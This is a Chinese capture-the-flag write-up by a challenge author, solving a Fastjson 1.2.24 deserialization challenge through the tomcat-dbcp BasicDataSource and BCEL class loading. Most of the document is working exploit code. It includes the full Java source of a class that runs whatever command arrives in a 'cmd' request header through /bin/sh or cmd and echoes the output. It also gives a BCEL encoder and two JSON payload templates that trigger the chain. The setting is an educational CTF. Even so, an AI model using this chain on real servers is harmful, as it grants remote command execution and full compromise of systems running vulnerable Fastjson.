记一次CTF出题之FastjsonBCEL_WP篇
WEB-FastjsonBCEL
一、查看题目信息
题目给出一个jar包,反编译后查看Controller
层内容如下:
/parse
路由下存在FastJson
解析可能存在反序列化漏洞。
二、题目分析
查看pom.xml
文件
注意到存在tomcat-dbcp
依赖和fastjson
依赖,且版本分别为9.0.8
、 1.2.24
。所以可以使用FastJson
借助tomcat-dbcp
实现BCEL字节码加载的方式。
还是以BCEL
打回显为目的,恶意类如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.example;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringEcho {
static {
try {
Class v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method v1 = v0.getMethod("getRequestAttributes");
Object v2 = v1.invoke(null);
v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
v1 = v0.getMethod("getResponse");
Method v3 = v0.getMethod("getRequest");
Object v4 = v1.invoke(v2);
Object v5 = v3.invoke(v2);
Method v6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method v7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
v7.setAccessible(true);
v6.setAccessible(true);
Object v8 = v6.invoke(v4);
String v9 = (String) v7.invoke(v5,"cmd");
String[] v10 = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")){
v10[0] = "cmd";
v10[1] = "/c";
}else {
v10[0] = "/bin/sh";
v10[1] = "-c";
}
v10[2] = v9;
v8.getClass().getDeclaredMethod("println",String.class).invoke(v8,(new Scanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter("\\A").next());
v8.getClass().getDeclaredMethod("flush").invoke(v8);
v8.getClass().getDeclaredMethod("clone").invoke(v8);
} catch (Exception var11) {
var11.getStackTrace();
}
}
}
生成BCEL编码payload
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class Bcel {
public static void main(String[] args) throws Exception {
JavaClass javaClass = Repository.lookupClass(SpringEcho.class);
String code = "$$BCEL$$"+Utility.encode(javaClass.getBytes(),true);
System.out.println(code);
//new ClassLoader().loadClass(code).newInstance();
}
}
因为漏洞触发点为JSONObject.parse(jsonString)
所以最终payload
形式如下:
1
2
3
4
5
6
7
8
9
10
11
12
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$xxxxxxxxxxxx"
}
}: "x"
}
如果是parseObject()
的形式,payload
也可以如下:
1
2
3
4
5
6
7
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$xxxxxxxxxxxx"
}
三、漏洞利用
生成拼接好payload
传入:
本文由作者按照 CC BY 4.0 进行授权